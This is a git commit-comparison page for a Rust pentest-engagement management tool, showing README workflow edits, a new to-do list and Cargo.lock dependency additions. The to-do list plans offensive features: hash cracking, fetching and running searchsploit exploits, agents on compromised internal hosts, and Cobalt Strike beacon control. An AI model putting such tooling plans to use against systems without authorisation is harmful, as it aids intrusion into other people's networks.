Compare commits
67 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2ebb29828b | ||
|
|
637fd5417f | ||
|
|
9fa1800337 | ||
|
|
e211433772 | ||
|
|
6d92032d06 | ||
|
|
925c3fd471 | ||
|
|
21d8da25e3 | ||
|
|
f8ec8de137 | ||
|
|
a3f42ecb3f | ||
|
|
387c12a247 | ||
|
|
249ecc786d | ||
|
|
6959e77d57 | ||
|
|
33450cb1ba | ||
|
|
55a6faac2d | ||
|
|
737bee37e7 | ||
|
|
76f153e981 | ||
|
|
c4bda0022b | ||
|
|
aef65f3b03 | ||
|
|
9d8154c7a1 | ||
|
|
4e38749c86 | ||
|
|
0913703976 | ||
|
|
fbd524ae7f | ||
|
|
dabca4c20a | ||
|
|
7dec1cb0cb | ||
|
|
a0b6065040 | ||
|
|
f99e395241 | ||
|
|
0cbe33357a | ||
|
|
4bd67a486f | ||
|
|
12e5ab38d2 | ||
|
|
f2370e463d | ||
|
|
92dd9766b8 | ||
|
|
dbbae0eb4e | ||
|
|
2346988e23 | ||
|
|
5bfa645b3d | ||
|
|
012ba517ab | ||
|
|
649dad5e79 | ||
|
|
2e839adccf | ||
|
|
fc316c2a71 | ||
|
|
31dd862579 | ||
|
|
b85d0e5d79 | ||
|
|
477ac6e360 | ||
|
|
fe6524016f | ||
|
|
967052a4e2 | ||
|
|
2796d31f14 | ||
|
|
b137e0c34d | ||
|
|
8a1dca30e1 | ||
|
|
854feb2e2a | ||
|
|
bfa766a2c3 | ||
|
|
f7bdd0ad8a | ||
|
|
16706f8f6d | ||
|
|
b6ec849b36 | ||
|
|
69f5a4bd78 | ||
|
|
cad1f9d51c | ||
|
|
837012d163 | ||
|
|
4dba68cdcf | ||
|
|
7765640e0e | ||
|
|
d50625167b | ||
|
|
a798e39461 | ||
|
|
4e1ab4c30f | ||
|
|
ac037a15a9 | ||
|
|
345124baf1 | ||
|
|
a9a451a8cf | ||
|
|
7081280247 | ||
|
|
2d97e81920 | ||
|
|
761f71c6c1 | ||
|
|
882afe0f67 | ||
|
|
1f47ff8229 |
@@ -53,11 +53,11 @@ Current engagements: client1 internal pentest, client 2 internal pentest
|
|||||||
|
|
||||||
This tool automatically creates the file structure, and if you use the start_pentest option populates the markdown note files with the templates I use.
|
This tool automatically creates the file structure, and if you use the start_pentest option populates the markdown note files with the templates I use.
|
||||||
|
|
||||||
For example if I get a new internal pentest engagement for client 3 but it hasn't started yet I'll start by creating the folder and note structure using option 4 in the menu system. This would create the folder structure and notes templates in the /home/pyro/pentests/upcomming/client3/internal_pentest and /home/pyro/notes/upcomming/client3/internal_pentest folders respectively. It does not create the distrobox or add it to the tracked project list yet.
|
For example if I get a new internal pentest engagement for client 3 but it hasn't started yet I'll start by creating the folder and note structure using option 4 in the menu system. This would create the folder structure and notes templates in the /home/pyro/pentests/upcomming/client3/internal_pentest and /home/pyro/notes/upcomming/client3/internal_pentest folders respectively. It does not create the distrobox, but it does add it to the list of tracked projects, with a status of upcomming.
|
||||||
|
|
||||||
Once the engagement starts I'd run option 6 "import new project - and set up new distrobox" from the menu system. It will ask if you have an existing folder structure to copy over, since I created that structure before with option 4 I would answer y, yes, or anything with the letter y in it. Then it prompts you to past the path to the folders to copy over. Here I browse to /home/pyro/pentests/upcomming in dolphin. I right click on the client3 folder and select "copy path" and then paste that into the terminal. I repeat this process for the notes folder.
|
Once the engagement starts I'd run option 9 to promote a project from upcomming status to current status. This will automatically copy the needed files over, and will clean up the empty directory in the upcomming files directory, but the empty folder in the upcomming notes folder is still not cleaning correctly, I'm working on that.
|
||||||
|
|
||||||
It then attempts to guess the client name and project name based on the folder structure, and asks you to confirm. If its correct the project object will be created, the folders will be copied, and a new distrobox will be set up. If it is not correct it will prompt you to correct it, then copy the files, create a new project object, and setup a new distrobox. At the moment it is not very fault tollerant and will fail if there is an existing folder with the same name. I plan to fix that later, but haven't gotten around to it yet. Once the distro box is set up (this takes a while) it will return you to the main menu.
|
It then will create a new distrobox and ask you if you need to set up cobalt strike for the project. if so it'll ask you for the path to your cobalt strike, it'll copy that into the project files folder so that you can run it if needed.
|
||||||
|
|
||||||
During the test I use the menu system to spawn new terminals in the distrobox created for the engagement, use the various file generation options to get data in easily usable format for attack operations, etc.
|
During the test I use the menu system to spawn new terminals in the distrobox created for the engagement, use the various file generation options to get data in easily usable format for attack operations, etc.
|
||||||
|
|
||||||
@@ -75,7 +75,8 @@ Once the project is done and I'm ready to clean up the distrobox I use option 7
|
|||||||
1. clone this repository `git clone https://github.com/Pyro57000/pentest_tool.git`
|
1. clone this repository `git clone https://github.com/Pyro57000/pentest_tool.git`
|
||||||
2. cd into the nested "pentest_tool" folder `cd pentest_tool/pentest_tool`
|
2. cd into the nested "pentest_tool" folder `cd pentest_tool/pentest_tool`
|
||||||
3. use cargo to build the release binary `cargo build --release`
|
3. use cargo to build the release binary `cargo build --release`
|
||||||
4. follow the same installation instructions, skipping the step where you download the release binary.
|
4. copy the compiled binary to a folder on your path `sudo cp ./target/release/pentest_tool /usr/bin/`
|
||||||
|
5. follow the same installation instructions, skipping the step where you download the release binary.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
29
ToDo.md
Normal file
29
ToDo.md
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
# planned features
|
||||||
|
1.) finish hash cracking with a dedictated cracking rig code.
|
||||||
|
|
||||||
|
2.) cracte hash cracking with current computer code.
|
||||||
|
|
||||||
|
|
||||||
|
4.) create code that moves projects to a "writing" state and folder.
|
||||||
|
|
||||||
|
5.) create code that tracks "current, upcomming, and writing" states, maybe automatic zipping of folders after writing is done?
|
||||||
|
upcoming and current are done, but need to add writing yet...
|
||||||
|
|
||||||
|
# Unplanned, but would be cool
|
||||||
|
1.) create a "server" and "Client" infrastructure that can help manage the distrobox clients and the main server
|
||||||
|
|
||||||
|
2.) maybe expand this server client model to interact with cracking rigs and what not.
|
||||||
|
|
||||||
|
3.) implment a function to searchsploit and copy wanted exploits to the project folder.
|
||||||
|
|
||||||
|
4.) implement a function to execute those copied exploits.
|
||||||
|
|
||||||
|
5.) add a "client" model for compromised internal hosts, this would likely need to be a server from a networking perspective that listens on 127.0.0.1 and then have the main interface connect to that over a proxy to run jobs. a good starting point would be to run some of our enumeration commands and scripts and save the output to the notes directly.
|
||||||
|
|
||||||
|
6.) add the ability to interact with the cobalt strike beacons... would need to learn agressor script... what a pain...
|
||||||
|
|
||||||
|
|
||||||
|
# NOTE
|
||||||
|
if you wish to contribute, please do! just fix a bug or implement any of the above features and make a pull request!!
|
||||||
|
|
||||||
|
I'll keep plugging away as I have time throughout my days as well.
|
||||||
696
pentest_tool/Cargo.lock
generated
696
pentest_tool/Cargo.lock
generated
@@ -17,6 +17,17 @@ version = "2.0.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
|
checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "aes"
|
||||||
|
version = "0.8.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cipher",
|
||||||
|
"cpufeatures",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "aho-corasick"
|
name = "aho-corasick"
|
||||||
version = "1.1.3"
|
version = "1.1.3"
|
||||||
@@ -96,12 +107,24 @@ dependencies = [
|
|||||||
"windows-targets 0.52.6",
|
"windows-targets 0.52.6",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "base16ct"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "base64"
|
name = "base64"
|
||||||
version = "0.22.1"
|
version = "0.22.1"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
|
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "base64ct"
|
||||||
|
version = "1.8.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "55248b47b0caf0546f7988906588779981c43bb1bc9d0c44087278f80cdb44ba"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bindgen"
|
name = "bindgen"
|
||||||
version = "0.70.1"
|
version = "0.70.1"
|
||||||
@@ -132,6 +155,15 @@ version = "2.6.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
|
checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "block-buffer"
|
||||||
|
version = "0.10.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bumpalo"
|
name = "bumpalo"
|
||||||
version = "3.16.0"
|
version = "3.16.0"
|
||||||
@@ -208,6 +240,16 @@ dependencies = [
|
|||||||
"windows-targets 0.52.6",
|
"windows-targets 0.52.6",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cipher"
|
||||||
|
version = "0.4.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
|
||||||
|
dependencies = [
|
||||||
|
"crypto-common",
|
||||||
|
"inout",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "clang-sys"
|
name = "clang-sys"
|
||||||
version = "1.8.1"
|
version = "1.8.1"
|
||||||
@@ -238,6 +280,15 @@ dependencies = [
|
|||||||
"winapi",
|
"winapi",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "colored"
|
||||||
|
version = "3.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "fde0e0ec90c9dfb3b4b1a0891a7dcd0e2bffde2f7efed5fe7c9bb00e5bfb915e"
|
||||||
|
dependencies = [
|
||||||
|
"windows-sys 0.59.0",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "combine"
|
name = "combine"
|
||||||
version = "4.6.7"
|
version = "4.6.7"
|
||||||
@@ -248,6 +299,12 @@ dependencies = [
|
|||||||
"memchr",
|
"memchr",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "const-oid"
|
||||||
|
version = "0.9.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "core-foundation"
|
name = "core-foundation"
|
||||||
version = "0.9.4"
|
version = "0.9.4"
|
||||||
@@ -307,12 +364,110 @@ dependencies = [
|
|||||||
"windows",
|
"windows",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cpufeatures"
|
||||||
|
version = "0.2.17"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "crc32fast"
|
||||||
|
version = "1.4.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "crypto-bigint"
|
||||||
|
version = "0.5.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
"rand_core",
|
||||||
|
"subtle",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "crypto-common"
|
||||||
|
version = "0.1.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
"typenum",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ctr"
|
||||||
|
version = "0.9.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"
|
||||||
|
dependencies = [
|
||||||
|
"cipher",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "curve25519-dalek"
|
||||||
|
version = "4.1.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cpufeatures",
|
||||||
|
"curve25519-dalek-derive",
|
||||||
|
"digest",
|
||||||
|
"fiat-crypto",
|
||||||
|
"rustc_version",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "curve25519-dalek-derive"
|
||||||
|
version = "0.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "dasp_sample"
|
name = "dasp_sample"
|
||||||
version = "0.11.0"
|
version = "0.11.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "0c87e182de0887fd5361989c677c4e8f5000cd9491d6d563161a8f3a5519fc7f"
|
checksum = "0c87e182de0887fd5361989c677c4e8f5000cd9491d6d563161a8f3a5519fc7f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "der"
|
||||||
|
version = "0.7.10"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb"
|
||||||
|
dependencies = [
|
||||||
|
"const-oid",
|
||||||
|
"pem-rfc7468",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "digest"
|
||||||
|
version = "0.10.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
|
||||||
|
dependencies = [
|
||||||
|
"block-buffer",
|
||||||
|
"const-oid",
|
||||||
|
"crypto-common",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "directories"
|
name = "directories"
|
||||||
version = "5.0.1"
|
version = "5.0.1"
|
||||||
@@ -365,12 +520,78 @@ dependencies = [
|
|||||||
"syn",
|
"syn",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "dns-lookup"
|
||||||
|
version = "2.0.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e5766087c2235fec47fafa4cfecc81e494ee679d0fd4a59887ea0919bfb0e4fc"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"libc",
|
||||||
|
"socket2",
|
||||||
|
"windows-sys 0.48.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ecdsa"
|
||||||
|
version = "0.16.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca"
|
||||||
|
dependencies = [
|
||||||
|
"der",
|
||||||
|
"digest",
|
||||||
|
"elliptic-curve",
|
||||||
|
"rfc6979",
|
||||||
|
"signature",
|
||||||
|
"spki",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ed25519"
|
||||||
|
version = "2.2.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53"
|
||||||
|
dependencies = [
|
||||||
|
"signature",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ed25519-dalek"
|
||||||
|
version = "2.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4a3daa8e81a3963a60642bcc1f90a670680bd4a77535faa384e9d1c79d620871"
|
||||||
|
dependencies = [
|
||||||
|
"curve25519-dalek",
|
||||||
|
"ed25519",
|
||||||
|
"sha2",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "either"
|
name = "either"
|
||||||
version = "1.13.0"
|
version = "1.13.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
|
checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "elliptic-curve"
|
||||||
|
version = "0.13.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47"
|
||||||
|
dependencies = [
|
||||||
|
"base16ct",
|
||||||
|
"crypto-bigint",
|
||||||
|
"digest",
|
||||||
|
"ff",
|
||||||
|
"generic-array",
|
||||||
|
"group",
|
||||||
|
"pkcs8",
|
||||||
|
"rand_core",
|
||||||
|
"sec1",
|
||||||
|
"subtle",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "encoding_rs"
|
name = "encoding_rs"
|
||||||
version = "0.8.35"
|
version = "0.8.35"
|
||||||
@@ -402,6 +623,32 @@ version = "2.3.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
|
checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ff"
|
||||||
|
version = "0.13.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c0b50bfb653653f9ca9095b427bed08ab8d75a137839d9ad64eb11810d5b6393"
|
||||||
|
dependencies = [
|
||||||
|
"rand_core",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "fiat-crypto"
|
||||||
|
version = "0.2.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "flate2"
|
||||||
|
version = "1.0.35"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c936bfdafb507ebbf50b8074c54fa31c5be9a1e7e5f467dd659697041407d07c"
|
||||||
|
dependencies = [
|
||||||
|
"crc32fast",
|
||||||
|
"miniz_oxide",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "fnv"
|
name = "fnv"
|
||||||
version = "1.0.7"
|
version = "1.0.7"
|
||||||
@@ -507,6 +754,17 @@ dependencies = [
|
|||||||
"slab",
|
"slab",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "generic-array"
|
||||||
|
version = "0.14.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
|
||||||
|
dependencies = [
|
||||||
|
"typenum",
|
||||||
|
"version_check",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "getrandom"
|
name = "getrandom"
|
||||||
version = "0.2.15"
|
version = "0.2.15"
|
||||||
@@ -514,8 +772,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
|
checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"cfg-if",
|
"cfg-if",
|
||||||
|
"js-sys",
|
||||||
"libc",
|
"libc",
|
||||||
"wasi",
|
"wasi",
|
||||||
|
"wasm-bindgen",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -530,6 +790,17 @@ version = "0.3.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2"
|
checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "group"
|
||||||
|
version = "0.13.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63"
|
||||||
|
dependencies = [
|
||||||
|
"ff",
|
||||||
|
"rand_core",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "h2"
|
name = "h2"
|
||||||
version = "0.4.7"
|
version = "0.4.7"
|
||||||
@@ -555,6 +826,21 @@ version = "0.15.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289"
|
checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "heck"
|
||||||
|
version = "0.4.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "hmac"
|
||||||
|
version = "0.12.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e"
|
||||||
|
dependencies = [
|
||||||
|
"digest",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "home"
|
name = "home"
|
||||||
version = "0.5.11"
|
version = "0.5.11"
|
||||||
@@ -854,6 +1140,15 @@ dependencies = [
|
|||||||
"hashbrown",
|
"hashbrown",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "inout"
|
||||||
|
version = "0.1.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "iovec"
|
name = "iovec"
|
||||||
version = "0.1.4"
|
version = "0.1.4"
|
||||||
@@ -930,6 +1225,9 @@ name = "lazy_static"
|
|||||||
version = "1.5.0"
|
version = "1.5.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||||
|
dependencies = [
|
||||||
|
"spin",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "lewton"
|
name = "lewton"
|
||||||
@@ -958,6 +1256,12 @@ dependencies = [
|
|||||||
"windows-targets 0.52.6",
|
"windows-targets 0.52.6",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "libm"
|
||||||
|
version = "0.2.15"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f9fbbcab51052fe104eb5e5d351cf728d30a5be1fe14d9be8a3b097481fb97de"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "libredox"
|
name = "libredox"
|
||||||
version = "0.1.3"
|
version = "0.1.3"
|
||||||
@@ -1101,6 +1405,34 @@ dependencies = [
|
|||||||
"minimal-lexical",
|
"minimal-lexical",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-bigint"
|
||||||
|
version = "0.4.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9"
|
||||||
|
dependencies = [
|
||||||
|
"num-integer",
|
||||||
|
"num-traits",
|
||||||
|
"rand",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-bigint-dig"
|
||||||
|
version = "0.8.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "dc84195820f291c7697304f3cbdadd1cb7199c0efc917ff5eafd71225c136151"
|
||||||
|
dependencies = [
|
||||||
|
"byteorder",
|
||||||
|
"lazy_static",
|
||||||
|
"libm",
|
||||||
|
"num-integer",
|
||||||
|
"num-iter",
|
||||||
|
"num-traits",
|
||||||
|
"rand",
|
||||||
|
"smallvec",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "num-derive"
|
name = "num-derive"
|
||||||
version = "0.4.2"
|
version = "0.4.2"
|
||||||
@@ -1112,6 +1444,26 @@ dependencies = [
|
|||||||
"syn",
|
"syn",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-integer"
|
||||||
|
version = "0.1.46"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f"
|
||||||
|
dependencies = [
|
||||||
|
"num-traits",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-iter"
|
||||||
|
version = "0.1.45"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf"
|
||||||
|
dependencies = [
|
||||||
|
"autocfg",
|
||||||
|
"num-integer",
|
||||||
|
"num-traits",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "num-traits"
|
name = "num-traits"
|
||||||
version = "0.2.19"
|
version = "0.2.19"
|
||||||
@@ -1119,6 +1471,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
